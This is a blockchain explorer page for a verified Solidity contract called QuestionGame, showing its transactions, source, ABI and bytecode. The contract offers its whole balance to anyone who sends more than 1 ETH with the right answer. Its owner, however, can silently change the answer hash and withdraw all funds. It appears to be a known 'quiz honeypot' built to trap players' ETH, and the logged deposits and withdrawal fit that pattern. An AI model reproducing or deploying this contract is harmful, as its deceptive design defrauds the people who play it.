ETH Price: $1,993.47 (-0.10%)

Contract

0x96fA4b2BEBbBc9fFdb7d64ed18058De27680752c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer60354532018-07-26 21:10:152802 days ago1532639415IN
0x96fA4b2B...27680752c
0 ETH0.000021031
Answer60340602018-07-26 15:22:502802 days ago1532618570IN
0x96fA4b2B...27680752c
0.001 ETH0.000047332
Start Game60337232018-07-26 14:01:392802 days ago1532613699IN
0x96fA4b2B...27680752c
1.01 ETH0.000082383

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer60362012018-07-27 0:03:562802 days ago1532649836
0x96fA4b2B...27680752c
1.011 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
QuestionGame

Compiler Version
v0.4.17+commit.bdeb9e52

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-07-26
*/

pragma solidity ^0.4.17;

contract QuestionGame
{
    string public question;
    address questionSender;
    bytes32 responseHash;
 
    function Answer(string _response) public payable {
        if (responseHash == keccak256(_response) && msg.value>1 ether) {
            msg.sender.transfer(this.balance);
        }
    }
 
    function StartGame(string _question,string _response) public payable {
        if (responseHash==0x0) {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }

    function StopGame() public payable {
        if (msg.sender==questionSender) {
            msg.sender.transfer(this.balance);
        }
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if (msg.sender==questionSender) {
            question = _question;
            responseHash = _responseHash;
        }
    }

    function () public payable { }
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Answer","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

6060604052341561000f57600080fd5b6105638061001e6000396000f3006060604052361561006a5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006c5780633e3ee859146100f45780633fad9ae01461013c578063e94e83d8146101c6578063f50ab2471461020c575b005b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061021495505050505050565b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050933593506102be92505050565b341561014757600080fd5b61014f6102ef565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018b578082015183820152602001610173565b50505050905090810190601f1680156101b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061038d95505050505050565b61006a610446565b60025415156102ba57806040518082805190602001908083835b6020831061024d5780518252601f19909201916020918201910161022e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161029092916020019061049c565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a03908116911614156102ba5760008280516102e892916020019061049c565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103855780601f1061035a57610100808354040283529160200191610385565b820191906000526020600020905b81548152906001019060200180831161036857829003601f168201915b505050505081565b806040518082805190602001908083835b602083106103bd5780518252601f19909201916020918201910161039e565b6001836020036101000a03801982511681845116179092525050509190910192506040915050519081900390206002541480156104015750670de0b6b3a764000034115b156104435733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044357600080fd5b50565b60015433600160a060020a039081169116141561049a5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561049a57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104dd57805160ff191683800117855561050a565b8280016001018555821561050a579182015b8281111561050a5782518255916020019190600101906104ef565b5061051692915061051a565b5090565b61053491905b808211156105165760008155600101610520565b905600a165627a7a72305820b438d5a5d9526d8f94ecfe36f131c787234e8f92265d10566b5ef50d012bb42f0029

Deployed Bytecode

0x6060604052361561006a5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006c5780633e3ee859146100f45780633fad9ae01461013c578063e94e83d8146101c6578063f50ab2471461020c575b005b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061021495505050505050565b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050933593506102be92505050565b341561014757600080fd5b61014f6102ef565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018b578082015183820152602001610173565b50505050905090810190601f1680156101b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061038d95505050505050565b61006a610446565b60025415156102ba57806040518082805190602001908083835b6020831061024d5780518252601f19909201916020918201910161022e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161029092916020019061049c565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a03908116911614156102ba5760008280516102e892916020019061049c565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103855780601f1061035a57610100808354040283529160200191610385565b820191906000526020600020905b81548152906001019060200180831161036857829003601f168201915b505050505081565b806040518082805190602001908083835b602083106103bd5780518252601f19909201916020918201910161039e565b6001836020036101000a03801982511681845116179092525050509190910192506040915050519081900390206002541480156104015750670de0b6b3a764000034115b156104435733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044357600080fd5b50565b60015433600160a060020a039081169116141561049a5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561049a57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104dd57805160ff191683800117855561050a565b8280016001018555821561050a579182015b8281111561050a5782518255916020019190600101906104ef565b5061051692915061051a565b5090565b61053491905b808211156105165760008155600101610520565b905600a165627a7a72305820b438d5a5d9526d8f94ecfe36f131c787234e8f92265d10566b5ef50d012bb42f0029

Swarm Source

bzzr://b438d5a5d9526d8f94ecfe36f131c787234e8f92265d10566b5ef50d012bb42f

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.